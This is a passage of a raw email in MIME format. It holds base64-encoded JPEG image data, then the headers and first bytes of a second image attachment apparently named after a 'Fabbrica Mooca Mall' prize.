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 ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="FABBRICA%20MOOCA%20MALL%20-%20PREMIO%20(02)[4].jpg" Content-Transfer-Encoding: base64 Content-ID: <4F0EAD6C5BBF4F5488E0F5BB16D43654@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAKyBLgDASIA 